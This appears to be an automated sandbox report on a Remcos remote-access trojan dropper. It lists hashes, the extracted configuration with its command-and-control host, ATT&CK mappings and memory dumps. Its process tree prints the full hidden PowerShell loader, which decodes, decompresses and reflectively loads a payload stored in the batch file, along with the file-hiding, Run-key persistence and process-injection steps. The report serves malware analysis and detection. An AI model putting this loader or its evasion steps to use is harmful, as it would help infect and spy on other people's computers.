remcos | 2d7f235edfdbb770492b966fbefe50b3f98bf5dd8b4427ca7ac06f45ce019d97

Analysis

max time kernel
300s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2024 04:39

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General

Target

Cobro_876634226701191038128011582367096095686646340584195296708193218.bat
Size

1.8MB
MD5

1698e898da21c028d3bfc61cbf0904aa
SHA1

acd1043cec76eacee19eb78b37b4a0624bc350f3
SHA256

075e65d20779e5ffdbe58f96c3639d6a6db830c41e100e68e0d45361ee2cc099
SHA512

466baec151eb73eeebe4b92a15b0046035019d19da9a7236d5d5e409ed61dd95469aed729eeb37eaab0bf905d5360bffd0b83975c3f5709888e10dd4ff401f61
SSDEEP

24576:Gyc27ntMASfw1Tr0s3OoF3A+HcA0uuSpYFIgu9k/gnJyi2QvqxspBVskiXLf5:dtwQYs+M3N8A0ud79yS92QvqNt

Score

10^/10

remcos vivero2 discovery evasion persistence rat

Malware Config

Extracted

Family

remcos

Botnet

VIVERO2

viveroelgirasol.com:2406

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
lgs.dat
keylog_flag
false
keylog_folder
WinLog
mouse_option
false
mutex
qwerty2024-GHME8E
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4844 created 3524	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	56

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2416	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Nghhytzqlf = "C:\\Users\\Admin\\AppData\\Roaming\\Nghhytzqlf.bat"	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4844 set thread context of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
Token: SeDebugPrivilege	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1372	InstallUtil.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 4440	2188	cmd.exe	83
PID 2188 wrote to memory of 4440	2188	cmd.exe	83
PID 2188 wrote to memory of 3228	2188	cmd.exe	84
PID 2188 wrote to memory of 3228	2188	cmd.exe	84
PID 2188 wrote to memory of 3440	2188	cmd.exe	85
PID 2188 wrote to memory of 3440	2188	cmd.exe	85
PID 2188 wrote to memory of 2416	2188	cmd.exe	86
PID 2188 wrote to memory of 2416	2188	cmd.exe	86
PID 2188 wrote to memory of 4844	2188	cmd.exe	87
PID 2188 wrote to memory of 4844	2188	cmd.exe	87
PID 2188 wrote to memory of 4844	2188	cmd.exe	87
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88
PID 4844 wrote to memory of 1372	4844	Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow	88

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2416	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:3228
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
    3⤵
    PID:3440
- - C:\Windows\system32\attrib.exe
    attrib +s +h C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2416
- - C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow
    C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow -WindowStyle hidden -command "$Amwfvap = get-content 'C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat' | Select-Object -Last 1; $Lahapqm = [System.Convert]::FromBase64String($Amwfvap);$Wmhuprvc = New-Object System.IO.MemoryStream( , $Lahapqm );$Swwilmyw = New-Object System.IO.MemoryStream;$Haozxiw = New-Object System.IO.Compression.GzipStream $Wmhuprvc, ([IO.Compression.CompressionMode]::Decompress);$Haozxiw.CopyTo( $Swwilmyw );$Haozxiw.Close();$Wmhuprvc.Close();[byte[]] $Lahapqm = $Swwilmyw.ToArray();[Array]::Reverse($Lahapqm); $Uzzzux = [System.AppDomain]::CurrentDomain.Load($Lahapqm); $Xtqfmtdiwhr = $Uzzzux.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Xtqfmtdiwhr.DeclaringType, $Xtqfmtdiwhr.Name).DynamicInvoke() | Out-Null"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4844
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\WinLog\lgs.dat

Filesize
144B

MD5
851b3a63b0d1ea3c90b473387be6d3bf

SHA1
5c9a0690eade6ea8ee7a278f822b84122a1bbafa

SHA256
43bf4cb6e883c7ba7714c03afa73bdba1f988d5895453f5c22693e3f2788eb56

SHA512
0b8886e2943bca707a0ef8866232e0fd83ccdb21d423283e801af09cdfbf7a02ce6ed2d638457856ecb4e33349c11247c33888a4e1cbff683e1e22187aa72c5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cobro_876634226701191038128011582367096095686646340584195296708193218.bat.Jow

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fgc5hejl.a5i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1372-1125-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1372-1133-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4844-5-0x000000007475E000-0x000000007475F000-memory.dmp

Filesize
4KB

Download
memory/4844-6-0x0000000002B30000-0x0000000002B66000-memory.dmp

Filesize
216KB

Download
memory/4844-7-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/4844-8-0x00000000053A0000-0x00000000059C8000-memory.dmp

Filesize
6.2MB

Download
memory/4844-9-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/4844-10-0x0000000005140000-0x0000000005162000-memory.dmp

Filesize
136KB

Download
memory/4844-11-0x00000000052E0000-0x0000000005346000-memory.dmp

Filesize
408KB

Download
memory/4844-12-0x0000000005A40000-0x0000000005AA6000-memory.dmp

Filesize
408KB

Download
memory/4844-22-0x0000000005AB0000-0x0000000005E04000-memory.dmp

Filesize
3.3MB

Download
memory/4844-23-0x0000000006100000-0x000000000611E000-memory.dmp

Filesize
120KB

Download
memory/4844-24-0x00000000061B0000-0x00000000061FC000-memory.dmp

Filesize
304KB

Download
memory/4844-25-0x00000000070D0000-0x0000000007166000-memory.dmp

Filesize
600KB

Download
memory/4844-26-0x0000000006620000-0x000000000663A000-memory.dmp

Filesize
104KB

Download
memory/4844-27-0x0000000006670000-0x0000000006692000-memory.dmp

Filesize
136KB

Download
memory/4844-28-0x0000000007780000-0x0000000007D24000-memory.dmp

Filesize
5.6MB

Download
memory/4844-29-0x00000000083B0000-0x0000000008A2A000-memory.dmp

Filesize
6.5MB

Download
memory/4844-30-0x0000000007260000-0x000000000751E000-memory.dmp

Filesize
2.7MB

Download
memory/4844-31-0x0000000007D30000-0x0000000007E4E000-memory.dmp

Filesize
1.1MB

Download
memory/4844-33-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-35-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-91-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-95-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-93-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-89-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-87-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-85-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-83-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-81-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-79-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-75-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-71-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-69-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-67-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-65-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-61-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-59-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-55-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-53-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-51-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-49-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-47-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-45-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-43-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-39-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-77-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-73-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-63-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-57-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-41-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-37-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-32-0x0000000007D30000-0x0000000007E48000-memory.dmp

Filesize
1.1MB

Download
memory/4844-1106-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/4844-1107-0x0000000007E50000-0x0000000007EE8000-memory.dmp

Filesize
608KB

Download
memory/4844-1108-0x0000000004E70000-0x0000000004EBC000-memory.dmp

Filesize
304KB

Download
memory/4844-1112-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/4844-1113-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/4844-1114-0x0000000007710000-0x0000000007764000-memory.dmp

Filesize
336KB

Download
memory/4844-1115-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download
memory/4844-1124-0x0000000074750000-0x0000000074F00000-memory.dmp

Filesize
7.7MB

Download